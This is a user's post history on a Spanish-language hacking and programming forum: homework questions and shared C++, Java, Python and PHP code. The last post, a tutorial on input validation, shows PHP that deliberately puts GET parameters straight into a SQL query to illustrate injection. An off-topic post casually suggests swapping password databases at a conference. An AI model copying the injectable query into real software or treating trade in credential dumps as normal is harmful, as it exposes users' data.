Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 2Fac3R

#1
Resulta que tengo el siguiente código:

Cita de: cpp
#include <iostream>

using namespace std;

#define TAM_MAX_REGISTROS 20

struct{
        int numRegistro;
        string mes;
        string RCF;
        string concepto;
        float monto;

    }ingresoReg[TAM_MAX_REGISTROS];

    struct{
        int numRegistro;
        string mes;
        string concepto;
        float monto;
    }gastoReg[TAM_MAX_REGISTROS];

Y lo voy a pasar como parametro en una función, que es:
Código: cpp

void Guardar_i(ingresoReg ing[], int nReg)
{
int i;

        ofstream archivo("ingresos.txt",ios::out);

        if(!archivo)
        {
            cout << "No se pudo abrir el archivo" << endl;
            exit(1);
        }

        for(i=0; i<nReg; i++)
        {
            cout << ing[i].numRegistro << "\t" << ing[i].mes << "\t\t" << ing[i].monto << "\t" << ing[i].RCF
        << "\t\t" << ing[i].concepto << endl;
    }

archivo.close();
}


Y la uso de la siguiente manera:
Código: cpp

Guardar_i(ingresoReg,nReg);


El error es:
Citar
blablabla\archivo.h|34|error: variable or field 'Guardar_i' declared void|
blablabla\archivo.h|34|error: 'ingresoReg' was not declared in this scope|
blablabla|34|error: expected primary-expression before 'int'|

Probé de la siguiente forma:
Código: cpp

void Guardar_i(struct ingresoReg ing[], int nReg)


Y tampoco, he buscado y probado todo lo que he encontrado en google y no funciona, de tanto que he probado ya ni sé qué estoy haciendo  ::) xD
¿Cuál es el problema? y ¿Cómo puedo solucionarlo?
Zalu2!
#2
Back-end / [Tool] Is Online v3.0 (By 2Fac3R)
Julio 28, 2015, 06:25:24 PM
Con la idea de seguir mejorando los códigos, les comparto otro que he modificado y mejorado.

Código: php

<!DOCTYPE html>
<title> Is online? v3.0 By 2Fac3R</title>
<style>
        body,html{
                background-color:black;
                color:green;
        }
        #ok{
                font-weight:bold;
        }
        #bad{
                font-weight:bold;
                color:red;
        }
</style>
<center>
        <pre>
.___         ________         .__  .__            _________
|   | ______ \_____  \   ____ |  | |__| ____   ___\_____   \
|   |/  ___/  /   |   \ /    \|  | |  |/    \_/ __ \ /   __/
|   |\___ \  /    |    \   |  \  |_|  |   |  \  ___/|   |   
|___/____  > \_______  /___|  /____/__|___|  /\___  >___|   
         \/          \/     \/             \/     \/<___>   
        </pre>

<form action="" method="POST">
        URL: <input type="text" name="page" value="http://">
        <input type="submit" name="send" value="Comprobar!">
</form> <br> <i>By 2Fac3R</i> <br> <br>


<?php
error_reporting(0);
/*
                ¿Is online? 3.0 By 2Fac3R
        Verificar si un servidor web esta online
                                                                                         */

function verificar($url)
{
$url = htmlentities($url);
        if(filter_var($url,FILTER_VALIDATE_URL) or filter_var($url,FILTER_VALIDATE_IP)){
                echo fopen($url,'r') ? "$url <div id='ok'>Online</div>" : "$url <div id='bad'>Offline</div>";
        }else{
                echo '<script>alert("URL/IP no valida!");window.location=""</script>';
        }
}


if(!empty($_POST['page'])){
     verificar($_POST['page']);
}
?>

<br><b>Gr33tz to:</b> <br> <br>
   
   xt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck <br>
   w4rning, Snifer, arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc, etc ... <br> <br>
   <a href="http://www.underc0de.org"><b>Underc0de.Org</b></a>
   </center>


Espero le den utilidad.
Zalu2
#3
Back-end / Conversor de textos By 2Fac3R v4.0
Julio 28, 2015, 05:29:08 PM
Buenas!

He estado dandole vueltas a mis códigos (más que nada para no oxidarme) y creo que se pueden seguir mejorando los códigos, lo comparto con ustedes por si a alguien le es de utilidad.

Código: php


<title> Conversor de textos By 2Fac3R v4.0</title>

<form action="" method="POST">
<select name="convertir">
<option value="bin2hex"> BinToHex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="gzinflate"> gzinflate </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
<option value="mcrypt">mcrypt</option>
</select>
<input type="text" name="str">
<input type="submit" name="enviado" value="Convertir!">
</form>

<?php
/*
* Conversor de textos
* .- Underc0de.org -.
*    v4.0 2015
* Autor: 2Fac3R
*
* Gr33tz to:
*
* xt3mp, arcangel_nigth, EddyW, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, Snifer,
* arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc...
*
* */


function convertir($a, $string){ // a : eleccion, string:texto

switch($a){
case 'bin2hex':
$res = bin2hex($string);
break;
case 'encode':
$res = urlencode($string);
break;
case 'gzinflate':
$res = gzinflate($string);
case 'decode':
$res = htmlentities(urldecode($string));
break;
case 'utf-7':
$res = mb_convert_encoding($string,'UTF-7');
break;
case 'ASCII':
for($i=0;$i<strlen($string);$i++){
$obt=ord($string[$i]);
$ascii=$obt.',';
}
$res = $ascii;
break;
case 'MD5':
$res = md5($string);
break;
case 'SHA1':
$res = sha1($string);
break;
case 'Base64_encode':
$res = base64_encode($string);
break;
case 'Base64_decode':
$res = base64_decode($string);
break;
case 'bindec':
$res = bindec($string);
break;
case 'mcrypt':
$res = crypt($string);
break;
default:
die("Ha habido un error <a href=''> Regresar! </a>");
break;
}
return $res;
}

if(!empty($_POST['enviado']) && isset($_POST['str']))
{
echo '<b>Original:</b> '.htmlentities($_POST['str']).' </br></br>';
echo '<textarea rows=4 cols=50>' .convertir($_POST['convertir'],$_POST['str']).'</textarea>';
}

?>



Comentarios, criticas, consejos son bienvenidos.
Zalu2!
#4
Buenas!  8)

Resulta que tengo que hacer una tabla con valores que tomo de una matriz de adyacencia la cual está en un archivo de textos, todo eso bien, pero cuando trato de ingresar los valores dentro del for (para ir recorriendo todos) no me funciona, pero afuera sí!  :o

Código: java

package practica4;

import javax.swing.*;
import javax.swing.table.DefaultTableModel;

import java.awt.*;
import java.awt.event.*;
import java.util.ArrayList;

import practica4.Archivo;

public class Table extends JFrame {

public Table() {
Archivo file = new Archivo();
file.Leer3();

Object[][] datos = null;
String[] columnNames = {"Origen","Destino","Peso"};
DefaultTableModel dtm= new DefaultTableModel(datos,columnNames);
final JTable table = new JTable(dtm);

ArrayList<String> ciudades = file.getCitiesMatriz();
ArrayList<String> pesos = file.getPesos();
/*Object[] newRow={"a","b","c"};
dtm.addRow(newRow);*/

for(int j=0, k=0; j<=ciudades.size() ; j++)
{
for(int i=0; i<ciudades.size(); i++,k++)
{
if(ciudades.get(j).equals(ciudades.get(i)))
{
continue;
}
Object[] newRow={"a","b","c"};
dtm.addRow(newRow);

// Agregar nueva fila
/*Object[] newRow={ciudades.get(j),ciudades.get(i),pesos.get(k)};
dtm.addRow(newRow);*/

//System.out.println(ciudades.get(j) + " - " + ciudades.get(i) + "- " + pesos.get(k));


}

}
table.setPreferredScrollableViewportSize(new Dimension(250, 100));
JScrollPane scrollPane = new JScrollPane(table);
getContentPane().add(scrollPane, BorderLayout.CENTER);

addWindowListener(new WindowAdapter() {

public void windowClosing(WindowEvent e){System.exit(0);}
});
}
public static void main(String[] args) {
Table frame = new Table();
frame.pack();
frame.setVisible(true);
}
}


Hice la parte:
Código: java

Object[] newRow={"a","b","c"};
dtm.addRow(newRow);


Para pruebas, pero la parte que realmente ocupo es:
Código: java

Object[] newRow={ciudades.get(j),ciudades.get(i),pesos.get(k)};
dtm.addRow(newRow);


Si saco esa parte afuera del for si me funciona, por ejemplo:
Código: java

Object[] newRow={"a","b","c"};
dtm.addRow(newRow);

/*for(int j=0, k=0; j<=ciudades.size() ; j++)
{
for(int i=0; i<ciudades.size(); i++,k++)
{
if(ciudades.get(j).equals(ciudades.get(i)))
{
continue;
}
Object[] newRow={"a","b","c"};
dtm.addRow(newRow);

// Agregar nueva fila
/*Object[] newRow={ciudades.get(j),ciudades.get(i),pesos.get(k)};
dtm.addRow(newRow);

//System.out.println(ciudades.get(j) + " - " + ciudades.get(i) + "- " + pesos.get(k));


}

}*/


El error es el siguiente:
CitarException in thread "main" java.lang.IndexOutOfBoundsException: Index: 6, Size: 6
   at java.util.ArrayList.rangeCheck(Unknown Source)
   at java.util.ArrayList.get(Unknown Source)
   at practica4.Table.<init>(Table.java:32)
   at practica4.Table.main(Table.java:59)

Archivo txt:
Citar
ALEMANIA BELGICA CANADA FRANCIA HOLANDA INGLATERRA
0    5    7    0    6    0   
2    0    0    4    0    3
0    1    6    0    9    7
4    8    0    5    0    0
11    9    0    0    3    2
3    0    8    9    0    0

Método Leer3() de la clase Archivo
Código: java

public void Leer3()
{
try
{
JFileChooser chooser = new JFileChooser();
chooser.showOpenDialog(chooser);
File fileXML = chooser.getSelectedFile();
String path = fileXML.getAbsolutePath();
String linea;

FileInputStream archivo = new FileInputStream(path);
Scanner sc = new Scanner(archivo);
cities_matriz = new ArrayList<String>();
pesos = new ArrayList<String>();

linea = sc.nextLine();
StringTokenizer st0 = new StringTokenizer(linea," ");

while(st0.hasMoreTokens())
{
cities_matriz.add(st0.nextToken());

}



while(sc.hasNextLine()) {
StringTokenizer st = new StringTokenizer(sc.nextLine(),"    ");

while(st.hasMoreTokens())
{
pesos.add(st.nextToken());

}
        }
sc.close();
}
catch(Exception fnfe){
JOptionPane.showMessageDialog(null, "Archivo no seleccionado!.");
}

}


Alguien sabe cuál es el problema? Porqué afuera del for si se crea la tabla y dentro no?

Zalu2!
#5
Buenas ;D

Resulta que tengo un ejercicio, pero no funciona como debería  ::) el asunto es que necesito que de cierto rango de enteros ingresarlos a diferentes arreglos dependiendo si es par o no.

Código: cpp

#include <iostream>

using namespace std;

int main()
{
    bool esPar(int);
    void mostrarArreglo(int arreglo[], int tam);
    int pares[20], nones[20];
    int i, j;

    for(i = 5, j=0; i<=100; i = i+5, j++)
    {
        if(esPar(i) == true)
        {
            pares[j] = i;
        }
        else
        {
            nones[j] = i;
        }

    }

    mostrarArreglo(pares,20);
    return 0;
}

bool esPar(int x)
{
    if(x%2 == 0)
    {
        return true;
    }
    else
    {
        return false;
    }
}

void mostrarArreglo(int arreglo[], int tam){
  for (int i = 0 ; i < tam ; i++)
    cout << arreglo[i] << ", ";
}



Cuando lo ejecuto parece que el arreglo realmente nunca se llena y me muestra los datos basura del buffer.
Gracias por los comentarios :D
Zalu2

PD: No sé porqué lo movieron del subforo de c++ pero bueno  :-\
#6
C / C++ / [Métodos de ordenamiento] QuickSort [C++]
Octubre 17, 2014, 04:15:59 PM
Buenas!.

El método de ordenamiento No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es un método muy eficaz a la hora de ordenar datos, les comparto un código que implemente en un proyecto escolar, está basado para ordenar fechas de salida de vuelos, pero ustedes pueden implementarlo para ordenar cualquier otro tipo de dato.

Código: cpp

void QuickSortF( N_Vuelo** arr, int izq, int der ){
int g, h, medio;
N_Vuelo *pivote, *aux;
medio = ( izq + der )/2;
pivote = arr[medio];
g = izq;
h = der;

while( g <= h ){

while ( arr[g]->getDato()->getFS(1) < pivote->getDato()->getFS(1) ) { g++; }
while ( pivote->getDato()->getFS(1) < arr[h]->getDato()->getFS(1) ) { h--; }

if( g <= h ){
aux = arr[g];
arr[g] = arr[h];
arr[h] = aux;
g++;
h--;
}
}

if ( izq < h ) { QuickSortF(arr, izq, h); }
if ( g < der ) { QuickSortF(arr, g, der); }
}


En los condicionales if iría la condición de ordenamiento de el tipo de dato que quieras implementar, cualquier duda y/o comentario hazmelo saber!.

Zalu2
#7
C / C++ / [ESTRUCTURA DE DATOS] Árbol binario [C++]
Octubre 17, 2014, 04:06:25 PM
Buenas!.

Otro tema muy importante en la estructura de datos son el manejo de árboles binarios, les comparto un ejemplo que hice para la escuela del tema, está hecho para un sistema de vuelos, por lo tanto uso la clase Pasajeros , pero ustedes pueden usar el tipo de dato que quieran almacenar en el árbol.

Código: cpp

#include <iostream>

using namespace std;

#include "Pasajero.h"

#ifndef __arbolbinario_H_INCLUDED__
#define __arbolbinario_H_INCLUDED__


class Nodo
{
private:
    Pasajero *dato;
    Nodo *izq; //enlace izquierdo
    Nodo *der; //enlace derecho

public:
    Nodo(Pasajero *info); // CONSTRUCTOR
    ~Nodo(); // DESTRUCTOR

    // METODOS GET
    Pasajero *getPasajero() { return dato;}
    Nodo *getIzq() { return izq;}
    Nodo *getDer() { return der;}

    // METODOS SET
    void setIzq(Nodo *i) { izq = i;}
    void setDer(Nodo *d) { der = d;}

};

Nodo::Nodo(Pasajero *info)
{
    dato = info;
    izq = NULL;
    der = NULL;
}

Nodo::~Nodo()
{ }

class ArbolBinario
{
    private:
        Nodo *raiz;
        Nodo *Insertar(Nodo*,Pasajero*);
        Nodo *Borrar(Nodo*, Pasajero*);
        void preOrden(Nodo*);
        void inOrden(Nodo*);
        void postOrden(Nodo*);
    public:
        ArbolBinario();
        Nodo *getRaiz() { return raiz;} // testing method
        void Crear(Pasajero*);
        void Recorridos(int);
        void Eliminar(int);
        Pasajero *Buscar(string, Nodo*);

        ~ArbolBinario();
};

ArbolBinario::ArbolBinario(){
    raiz = NULL;
}

Nodo* ArbolBinario::Insertar(Nodo *p, Pasajero *q){
    if(p == NULL){
        p = new Nodo(q);
    }
    else{
        string a = p -> getPasajero()-> getApellido(); // Primera letra del apellido que esta en la raiz

        if(q->getApellido()[0] <= a[0])
        {
            p->setIzq( Insertar(p->getIzq(),q) );

        }
        else{
            p->setDer( Insertar(p->getDer(),q) );
        }
    }

    return p;
}

void ArbolBinario::Crear(Pasajero *q)
{
     raiz = Insertar(raiz,q);
}

void ArbolBinario::preOrden(Nodo *p){
    if(p != NULL){
        cout << "\n " << p->getPasajero()->getApellido();
        preOrden(p->getIzq());
        preOrden(p->getDer());
    }
}

void ArbolBinario::inOrden(Nodo *p){
    if(p != NULL){
        inOrden(p->getIzq());
        cout << "\n " << p->getPasajero()->getApellido();
        inOrden(p->getDer());
    }
}

void ArbolBinario::postOrden(Nodo *p){
    if(p != NULL){
        cout << " \n " << p->getPasajero()->getApellido();
        postOrden(p->getIzq());
        postOrden(p->getDer());
    }
}

void ArbolBinario::Recorridos(int tipo){
    switch(tipo){
        case 1:
            preOrden(raiz);
        break;

        case 2:
            inOrden(raiz);
        break;

        case 3:
            postOrden(raiz);
        break;

        default:
            cout << " - Error! opcion invalida!. -" << endl;
  break;
    }
}


Espero que les sea de utilidad!.

Para más información véase -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Zalu2!
#8
Buenas!

Hace poco cree un tema sobre un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en C++, pues quería compartirles otro código que no lo hice para la escuela y por lo tanto me dió más tiempo de currarmelo más y agregarle más métodos  ;D .

Código: cpp

#include <iostream>
using namespace std;

#define ASCENDENTE 1
#define DESCENDENTE 0

class nodo
{
private:
    int valor;
    nodo *siguiente;
    nodo *anterior;

    friend class lista;

public:
    nodo(int v, nodo *sig = NULL, nodo *ant = NULL) // CONSTRUCTOR
    {
        valor = v;
        siguiente = sig;
        anterior = ant;
    }
    // SETTERS
    void setAnterior(nodo *ant) { anterior = ant; }
    void setSiguiente(nodo *sig) { siguiente = sig; }

    // GETTERS
    int getValor() { return valor; }
    nodo *getSiguiente() { return siguiente; }
    nodo *getAnterior() { return anterior; }
};


class lista
{
private:
    nodo  *plista; // ANCLA

public:
    lista(){ plista = NULL; } // CONSTRUCTOR

    ~lista(); // DESTRUCTOR

    // METODOS DE LA LISTA
    void Insertar(int v);
    void Borrar(int v);
    bool ListaVacia() { return plista == NULL; }
    void Mostrar(int);

    // METODOS DE POSICION
    void Siguiente() { if(plista) plista = plista->getSiguiente(); }
    void Anterior() { if(plista) plista = plista->getAnterior(); }
    void Primero() {  while(plista && plista->getAnterior()) plista = plista->getAnterior(); }
    void Ultimo() {  while(plista && plista->getSiguiente()) plista = plista->getSiguiente(); }
    int ValorActual() { return plista->valor; }

};

lista::~lista() // VACIAMOS LA LISTA
{
   nodo *aux;

   Primero();
   while(plista) {
      aux = plista;
      plista = plista->getSiguiente();
      delete aux;
   }
}

void lista::Insertar(int v)
{
    nodo *nuevo;

    Primero();
    // Si la lista está vacía
    if(ListaVacia() || plista->getValor() > v)
    {
      nuevo = new nodo(v, plista);
      if(!plista) plista = nuevo;
      else plista->setAnterior(nuevo);
    }
    else
    {
      while(plista->getSiguiente() && plista->getSiguiente()->getValor() <= v) Siguiente();
      // Creamos un nuevo nodo después del nodo actual
      nuevo = new nodo(v, plista->getSiguiente(), plista);
      plista->setSiguiente(nuevo);
      if(nuevo->getSiguiente()) nuevo->getSiguiente()->setAnterior(nuevo);
    }
}

void lista::Borrar(int v)
{
   nodo *nodo;

   nodo = plista;
   while(nodo && nodo->getValor() < v) nodo = nodo->getSiguiente();
   while(nodo && nodo->getValor() > v) nodo = nodo->getAnterior();

   if(!nodo || nodo->getValor() != v) return;
   // Borrar el nodo

   if(nodo->getAnterior()) // no es el primer elemento
      nodo->getAnterior()->setSiguiente(nodo->getSiguiente());
   if(nodo->getSiguiente()) // no el el último nodo
      nodo->getSiguiente()->setAnterior(nodo->getAnterior());
   delete nodo;
}

void lista::Mostrar(int orden)
{
    nodo *nodo;
    if(orden == ASCENDENTE)
    {
        Primero();
        nodo = plista;
        while(nodo)
        {
        cout << nodo->getValor() << "-> ";
        nodo = nodo->getSiguiente();
        }
    }
    else
    {
        Ultimo();
        nodo = plista;
        while(nodo)
        {
            cout << nodo->getValor() << "-> ";
            nodo = nodo->getAnterior();
        }
    }
    cout << endl;
}

int main(void) {
    lista Lista;

    Lista.Insertar(20);
    Lista.Insertar(10);
    Lista.Insertar(40);
    Lista.Insertar(30);

    Lista.Mostrar(ASCENDENTE);
    Lista.Mostrar(DESCENDENTE);

    Lista.Primero();
    cout << "Primero: " << Lista.ValorActual() << endl;

    Lista.Ultimo();
    cout << "Ultimo: " << Lista.ValorActual() << endl;

    Lista.Borrar(10);
    Lista.Borrar(15);
    Lista.Borrar(45);
    Lista.Borrar(40);

    Lista.Mostrar(ASCENDENTE);
    Lista.Mostrar(DESCENDENTE);

    return 0;
}


Espero que les guste y les sirva, cualquier duda y/o comentario me lo hacen saber  ::).

Zalu2!
#9
Buenas!

Resulta que he estado estudiando en la universidad las estructuras de datos en C++, y me gustaría compartirles algunos códigos que he estado haciendo en este tiempo, son códigos más que nada de la escuela. He buscado información al respecto en internet, y la mayoria (por no decir todos) están hechos en C (los que he visto en español), utilizan estructuras con struct y no objetos en C++, así que sirve que alimentamos el internet y el foro  ;D .

No les voy a mostrar teoría sobre el tema, eso se los dejo a su búsqueda.

listas.h
Código: cpp

#include <iostream>

using namespace std;

#ifndef __LISTAS_H_INCLUDED__
#define __LISTAS_H_INCLUDED__

class Nodo{

private:
    int dato;
    Nodo *sig;
    Nodo *ant;
public:
    Nodo(void) { sig = ant = NULL; }

    Nodo( int x , Nodo* s = NULL , Nodo* a = NULL )
    {
        dato = x;
        sig = s;
        ant = a;
    }

    // SETTERS
    void setDato(int x) { dato = x; }
    void setAnt(Nodo *a) { ant = a; }
    void setSig(Nodo *s) { sig = s; }

    // GETTERS
    int getDato()  { return dato;}
    Nodo *getAnt() { return ant; }
    Nodo *getSig() { return sig; }

};

class Lista
{
private:
    Nodo *lista; // ancla
public:
    Lista(void) { Inicializar(); } // CONSTRUCTOR

    // METODOS BASICOS

    Nodo *Primero() { return lista; }
    Nodo *Siguiente(Nodo *pos) { return pos->getSig(); }
    Nodo *Anterior(Nodo *pos) { return pos->getAnt(); }

    Nodo *Ultimo() {
        Nodo *aux = lista;

        if ( !Vacia() ) { while ( aux->getSig() ) { aux = aux->getSig(); } }
        return aux;
    }

    // METODOS DE LA LISTA
    void Inicializar() { lista = NULL; }
    bool Vacia() { return lista==NULL; }
    void Mostrar();
    void Insertar(int x, Nodo* pos = NULL);
};


void Lista::Insertar(int x, Nodo* pos)
{
    Nodo* aux;
Nodo* temp_n = new Nodo(x);

if ( Vacia() ){
lista = temp_n;

}else{
if ( pos == Primero() ){
aux = Primero();
aux->setAnt(temp_n);

temp_n->setSig(aux);
lista = temp_n;

}else if ( pos == NULL ){

aux = Ultimo();
aux->setSig(temp_n);
temp_n->setAnt(aux);

}else{
aux = Primero();

while ( aux ){
if ( aux == pos ){
Anterior(aux)->setSig( temp_n );

temp_n->setAnt( Anterior(aux) );
temp_n->setSig( aux );

aux->setAnt( temp_n );

}else {
    aux = aux->getSig();
                }
}
}
}
}

void Lista::Mostrar()
{
    Nodo* aux;

    Primero();
    aux = lista;
if ( !Vacia() ){
while ( aux ){
            cout << aux ->getDato();
            cout << "\n";
            aux = aux ->getSig();
}
}
}

#endif



main.cpp
Código: cpp

#include <iostream>
#include "listas.h"

using namespace std;

int main(void)
{
    Lista numeros; // Mi lista
    char opc; // Opcion del menu
    int n; // dato a insertar

    do{
        cout << "\n \n  LISTAS DOBLEMENTE LIGADAS: ";
        cout << "\n *- MENU -* ";
        cout << "\n 1. AGREGAR A LA LISTA . ";
        cout << "\n 2. MOSTRAR LOS DATOS . ";
        cout << "\n 3. SALIR . ";
        cout << "\n         _> ";
        cin >> opc;

        switch(opc){
        case '1':
            cout << "\n AGREGANDO DATOS A LA LISTA . ";
            cout << "\n INGRESE EL VALOR NUMERICO . ";
            cout << "\n         _> ";
            cin >> n;
            numeros.Insertar(n);
            cout << " --> < Guardado correctamente > " << endl;
            break;
        case '2':
            if(numeros.Vacia())
            {
                cout << "\n < No hay registros!. > ";
                break;
            }

            cout << "\n \n DATOS GUARDADOS EN LA LISTA: \n ";
            numeros.Mostrar();
            break;
        case '3':
            cout << " - < Saliendo!...... >" << endl;
            break;
        default:
            cout << " - < Opcion incorrecta!, intente de nuevo. >" << endl;
            break;

        }

    }while(opc!='3');

    cin.ignore();
    return 0;
}



Espero que les sea de utilidad, y son bienvenidas sus criticas y/o comentarios  8)
Zalu2!
#10
Hola a todos!

Resulta que me gustaría mostrar un estilo "Graffiti" en un trabajo que tengo que entregar, sería simplemente un titulo o un mensaje de bienvenida al programa. En PHP existe la sintaxis heredoc que simplemente no he encontrado similar en C++.

La página donde saco el graffiti es esta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para quien no conosca la sintaxis heredoc
Código: php

<?php
$graffiti = <<<EOF

Aqui mensajes de
muchas
lineas, en donde iría
la "imagen"

EOF;

?>


Probé también, metiendolo en un archivo txt y leyendolo mediante c++, pero no se muestra correctamente.
He buscado y he visto que simplemente no existe en C/C++ heredoc, me gustaría saber si alguien sabe alguna forma de hacerlo y que aparezca correctamente el "dibujo".

Gracias! ;D

#11
Back-end / Conversor de textos By 2Fac3R v3.0
Noviembre 24, 2013, 12:40:36 AM
Modifiqué un poco el código de la versión anterior, para que quedara más "bonito" hablando del punto de vista de la programación.

He creado y usado este script para uso personal, resolviendo wargames, creandolos, etc...
Código: php

<title> Conversor de textos By 2Fac3R v3.0</title>
<?php
/*
* Conversor de textos
* .- Underc0de.org -.
*    v3.0 2013
* Autor: 2Fac3R
*
* Gr33tz to:
*
* xt3mp, arcangel_nigth, EddyW, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, Snifer,
* arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc...
*
* */

error_reporting(E_ALL);

function convertir($a, $string){ // a : eleccion, string:texto

switch($a){
case 'bin2hex':
$res = bin2hex($string);
break;
case 'encode':
$res = urlencode($string);
break;
case 'gzinflate':
$res = gzinflate($string);
case 'decode':
$res = htmlentities(urldecode($string));
break;
case 'utf-7':
$res = mb_convert_encoding($string,'UTF-7');
break;
case 'ASCII':
for($i=0;$i<strlen($string);$i++){
$obt=ord($string[$i]);
$ascii=$obt.',';
}
$res = $ascii;
break;
case 'MD5':
$res = md5($string);
break;
case 'SHA1':
$res = sha1($string);
break;
case 'Base64_encode':
$res = base64_encode($string);
break;
case 'Base64_decode':
$res = base64_decode($string);
break;
case 'bindec':
$res = bindec($string);
break;
case 'mcrypt':
$res = crypt($string);
break;
default:
die("Ha habido un error <a href=''> Regresar! </a>");
break;
}
return $res;
}

if(!empty($_POST)):
echo convertir($_POST['convertir'],$_POST['str']);
else:?>
<form action="" method="POST">
<select name="convertir">
<option value="bin2hex"> BinToHex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="gzinflate"> gzinflate </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
<option value="mcrypt">mcrypt</option>
</select>
<input type="text" name="str">
<input type="submit" name="enviado" value="Convertir!">
</form>
<?endif;?>


Espero que alguien le sea de utilidad como a mí. 8)

Zalu2!
#12
No supe cómo ponerle al título  ;D

El asunto es que mi idea es "crear" un estilo switch en python (para usos propios simplemente) y ando intentando una forma que me pareció interesante, supongo que para muchos de acá no es nueva, es la siguiente:

Código: python

def switch(forum):
    return{
        'underc0de': 'something...',
        'another one' : 'testing...'
    }[forum]

print switch('underc0de');


El problema viene cuando quiero intentar un método dentro del diccionario a retornar, por ejemplo:

Código: python

import urllib

def switch(x,s):
    return{
        'bin2hex': hex(s),
        'encode' : urllib.quote(s)
    }[x]

print switch('encode','http://underc0de.org/foro/python/?action=post')


He comprobado antes esto:

Código: python

print urllib.quote('http://underc0de.org/foro/python/?action=post')


Y funciona, debe ser un error tonto  ::) pero no lo veo  :'(

¿Alquien sabe qué pasa?

Zalu2!
#13
Off Topic / ¿Alguien irá a la GuadalajaraCON?
Abril 02, 2013, 05:31:20 PM
Hi Uc0de!

El próximo 19 y 20 de Abril se hará una edición más de la GuadalajaraCon y me gustaría saber si alguien tiene planeado ir, nos podemos poner deacuerdo y juntarnos ahí, platicar, compartir, pasarnos bd's con passwords opinar de las conferencias, etc...

El registro es el 5 de Abril (ya pasó una fecha, pero no pude registrarme :/ ) , mandenme un mp o respondan acá si están interesados!

Zalu2
#14
Back-end / [Tool] Is Online v2.0 (By 2Fac3R)
Febrero 07, 2013, 09:13:32 PM
Buenas, acabo de mejorar el código que tenía de este pequeño script en php, sirve para verificar si un servidor está online. Tiene diseño kaker xD

Código: php

<!DOCTYPE html>
<title> Is online? v2.0 By 2Fac3R</title>
<style>
body,html{
background-color:black;
color:green;
}
#ok{
font-weight:bold;
}
#bad{
font-weight:bold;
color:red;
}
</style>
<center>
<pre>
.___         ________         .__  .__            _________
|   | ______ \_____  \   ____ |  | |__| ____   ___\_____   \
|   |/  ___/  /   |   \ /    \|  | |  |/    \_/ __ \ /   __/
|   |\___ \  /    |    \   |  \  |_|  |   |  \  ___/|   |   
|___/____  > \_______  /___|  /____/__|___|  /\___  >___|   
         \/          \/     \/             \/     \/<___>   
</pre>

<?php
/*
¿Is online? 2.0 By 2Fac3R
Verificar si un servidor esta online
*/
$page = htmlentities($_POST['page'], ENT_QUOTES ,'utf-8');
$send = $_POST['send'];

function verificar($url){
if(filter_var($url,FILTER_VALIDATE_URL) or filter_var($url,FILTER_VALIDATE_IP)){
echo fopen($url,'r') ? "$url <div id='ok'>Online</div>" : "$url <div id='bad'>Offline</div>";
}else{
echo '<script>alert("URL/IP no valida!");window.location=""</script>';
}
}

if(!empty($page)){
verificar($page);
}else{
if(isset($send)){
?>
<script>
alert("Debes ingresar una URL!");
window.location=""</script>
<noscript>
<?die("Debes ingresar una URL! <a href=''><b> Regresar! </b> </a>")?>
</noscript><?
}
?>
<form action="" method="POST">
URL: <input type="text" name="page" value="http://">
<input type="submit" name="send" value="Comprobar!">
</form> <br> <i>By 2Fac3R</i> <br> <br>

<?}?>
<br><b>Gr33tz to:</b> <br> <br>
   
   xt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck <br>
   w4rning, Snifer, arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc, etc ... <br> <br>
   <a href="http://www.underc0de.org"><b>Underc0de.Org</b></a>
   </center>


Espero les sirva de algo :P
Zalu2
#15
Back-end / [ENG] Validation (Hashphp.org)
Febrero 07, 2013, 09:08:36 PM
Validating User Input

As many of you might be aware, one of the staples of any web application security is to make sure that data passed to you from the user won't break your application or otherwise damage your data. Just like you'd check to see who is at the door of your house before you let them in, you'd check user supplied data to see if it is acceptable for whatever you intend to use it for.

Another reason to validate input is simply because you can provide more intuative responses to the user. They may hit a letter by accident while typing in a number. It is far more clear to the user if you inform them that they've made a mistake and allow them to correct it, rather than have the application break, or worse, have the application continue with an unexpected result.

In PHP, user input arrives as one of two types: an array, or a string. Since the most common form of validation involves checking to see if the user has provided a valid integer representation inside one of the string values, we will focus on this point.

What Could Possibly Happen If I Don't?

Well, it largely depends on what your application is doing. It could be as simple as throwing a big ugly error, but it could also be a lot worse. Take the following highly insecure code example:

Código: php
<?php

$user_id = 1;
$connection = mysql_connect('myserver.com', 'username', 'password');
mysql_select_db('my_database', $connection);
$query = "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

?>


This piece of code seems simple enough. Open a connection to 'myserver.com', and select a row from 'mytable'. What could possibly go wrong? As it turns out, quite a lot. This particular piece of code has two very distinct problems which we'll look at.

